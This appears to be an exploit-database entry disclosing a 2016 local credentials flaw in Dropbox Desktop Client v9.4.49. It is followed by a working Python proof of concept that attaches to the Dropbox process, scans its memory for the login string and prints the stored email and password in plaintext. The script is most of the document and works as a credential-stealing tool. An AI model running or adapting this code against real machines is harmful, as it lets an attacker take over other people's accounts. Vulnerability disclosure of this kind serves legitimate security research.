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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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# Dropbox Desktop Client v9.4.49 (64bit) Local Credentials Disclosure
# Tested on Windows Windows Server 2012 R2 64bit, English
# Vendor Homepage @ https://www.dropbox.com
# Date 06/09/2016
# Bug Discovery by:
#
# Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
# http://www.black-rose.ml
#
# Viktor Minin (https://www.linkedin.com/in/MininViktor)
# https://1-33-7.com/
#
# Alexander Korznikov (https://www.linkedin.com/in/nopernik)
# http://korznikov.com/
#
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# Dropbox Desktop Client v9.4.49 is vulnerable to local credentials disclosure, the supplied username and password are stored in a plaintext format in memory process.
# A potential attacker could reveal the supplied username and password in order to gain access to account.
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# Proof-Of-Concept Code:

import time
import urllib
from winappdbg import Debug, Process

username	= ''
password	= ''
found		= 0
filename 	= "Dropbox.exe"
process_pid = 0
memory_dump	= []

debug = Debug()
try:
	print "[~] Searching for pid by process name '%s'.." % (filename)
	time.sleep(1)
	debug.system.scan_processes()
	for (process, process_name) in debug.system.find_processes_by_filename(filename):
		process_pid = process.get_pid()
	if process_pid is not 0:
		print "[+] Found process with pid #%d" % (process_pid)
		time.sleep(1)
		print "[~] Trying to read memory for pid #%d" % (process_pid)
		
		process = Process(process_pid)
		for address in process.search_bytes('\x26\x70\x61\x73\x73\x77\x6F\x72\x64\x3D'):
			memory_dump.append(process.read(address,100))
		for i in range(len(memory_dump)):
			email_addr 	= memory_dump[i].split('email=')[1]
			tmp_passwd 	= memory_dump[i].split('password=')[1]
			username	= email_addr.split('\x00')[0]
			password	= tmp_passwd.split('&is_sso_link=')[0]
			if username != '' and password !='':
				found = 1
				print "[+] Credentials found!\r\n----------------------------------------"
				print "[+] Username: %s" % urllib.unquote_plus(username)
				print "[+] Password: %s" % password
		if found == 0:
			print "[-] Credentials not found! Make sure the client is connected."
	else:
		print "[-] No process found with name '%s'." % (filename)
	
	debug.loop()
finally:
    debug.stop()